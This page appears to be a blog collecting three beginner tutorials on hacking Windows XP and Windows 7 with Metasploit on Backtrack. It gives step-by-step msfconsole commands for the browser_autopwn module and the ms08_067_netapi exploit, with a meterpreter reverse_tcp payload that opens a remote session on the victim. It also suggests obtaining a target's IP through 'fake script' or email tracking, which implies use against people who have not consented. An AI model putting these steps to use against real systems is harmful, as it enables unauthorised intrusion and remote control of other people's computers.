Showing posts with label metasploit. Show all posts

HACK WINDOWS XP USING METASPLOIT FRAME WORK CONSOLE






What is Metasploit? 
Metasploit is a framework which is used for the hacking of different kinds of applications, operating systems, web applications etc. Metasploit contains various exploits, scanners, payloads, modules, auxiliaires, vulnerability assessments etc.

Requirements:- 

1. VULNERABILITY
2. EXPLOIT
3. PAYLOAD

             Vulnerability is a weakness or hole of the system through which an attacker enters into the machine. 
              Exploit is a program or code which takes the advantage of the vulnerability to break the security of system. 
          Payload is a program which gives control of the system. 

Step 1 –  
                            Power on your Backtrack OS.





if you use base machine  then login with h  Username=root and Password=toor (By Default) or  if you can  use in  vmware workstation no need to login . 







After login to this, Type “startx” for entering into GRAPHIC Mode.



Step 2 –  
Now For Hacking Windows, You have to Start Metasploit Framework. So Open your terminal


Metasploit Framework console

Step 3 –  
There is a netapi application vulnerability in Windows XP, so to use its exploit, “search for netapi”.




Step 4 –  
 Here we use great exploit for windows xp
               

 Type command and press enter




Step 5-
 Check all options or commands

Step 6-
  Now you have to set your target ip address,




Step 7-
Now we need to know our ip


Step 8-
 Set the Local Host IP by typing this command



Step 9-
  Now Set your payload



Congrats All done ! Now time to Exploit





 Type sysinfo 







Tutorial On Windows 7 with Metasploit

Hack Windows 7 In 2 minutes
=====================

What You Need To Do ANd What you Want to do?

1.Backtrack
2.Windows 7 machine
3.Installed Browser eg  chrome, IE, Firefox or any


So Let's Start
============
1.Start Backtrack
2.Type "Startx" To enter GUI mode of Backtrack.
3.Go To terminal
4.Type "msfconsole"
5. Type msf:>use auxiliary/server/browser_autopwn

 msf :>show Options
Set LHOST means Localhost ip address To check Localhost ip Go to terminal And type "ifconfig"
7. msf:>set LHOST eg.192.168.168.1
After That you want set SRVPORT which is 80 or 8080
8.msf:>set SRVPORT 80
Then set URIPATH eg.root "/"
9.msf:>set URIPATH /
Now Everything Is done
10.msf:>exploit or run
Now What to need To to open On victim Machine
Open Any Browser Type Your BAcktrack Machine's ip address
eg.http://192.168.168.1/
After A minute you Can see our Session Is open

msf:>sessions -i 1
ENjoy......
If You have any problem Reply Here


Tutorial On Windows xp hack with Metasploit


What You Need To Do..
1.Backtrack
2.Victim's Ip Address.
3.Payload
4.Exploit


So Let's Start With Metasploit....
Steps To Be Followed.
Step-1:-Start The Backtrack And Open the Metasploit.We Are using exploit that ms08_067_netapi.That is vulnerability in Windows XP.


Description:-
This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing. Windows XP targets seem to handle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in development.

Commands- "msf:>use exploit/windows/smb/ms08_067_netapi



Step-2:-You Want to set your LHOST means where you want to your reverse connection That is localhost. 
msf:>set LHOST eg.192.168.1.1

Step-3:- Here You want Set RHOST Ip address to Get remote's ip address use your mind how to get it.eg.Tracing,Fake script or tracking email got it

msf:>set RHOST eg.192.168.1.100

Step-4:-After All this You want to Set Payload.Payload is the piece of software that lets you control a computer system after it’s been exploited.

msf:>set PAYLOAD windows/meterpreter/reverse_tcp


Now everything is Done now Just do one thing with one Command that is called.
msf:>exploit